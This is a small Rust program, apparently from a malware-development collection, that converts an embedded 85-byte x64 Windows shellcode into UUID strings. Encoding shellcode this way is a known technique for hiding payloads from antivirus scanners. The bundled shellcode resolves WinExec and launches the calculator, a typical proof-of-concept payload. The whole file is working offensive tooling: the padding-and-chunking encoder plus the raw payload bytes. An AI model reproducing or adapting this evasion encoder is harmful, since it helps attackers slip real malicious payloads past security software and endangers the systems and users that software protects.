/*
    Shellcode to UUID 
    @5mukx
*/


use uuid::Uuid;

fn convert_to_uuid(shellcode: &[u8]) -> Vec<String>{

    let mut sc = shellcode.to_vec();
    if sc.len() % 16 != 0 {
        println!("[-] shellcode length not multiples of 16 bytes");

        let add = 16 - (sc.len() % 16);
        println!("\n[*] Modified shellcode length: {}", sc.len() + add);
        sc.extend(vec![0u8; add]);

    }

    let mut uuids = Vec::new();

    for chunk in sc.chunks(16) {
        let bytes: [u8; 16] = chunk.try_into().expect("Size should be 16");
        let uuid = Uuid::from_bytes_le(bytes);

        uuids.push(format!("\"{}\"", uuid.to_string()));
    }

    uuids
}

fn main() {
    let shellcode: [u8; 85] = [
        0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48,
        0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
        0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20,
        0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
        0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01,
        0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7,
    ];

    let uuids = convert_to_uuid(&shellcode);

    println!("{}", uuids.join(",\n"));
}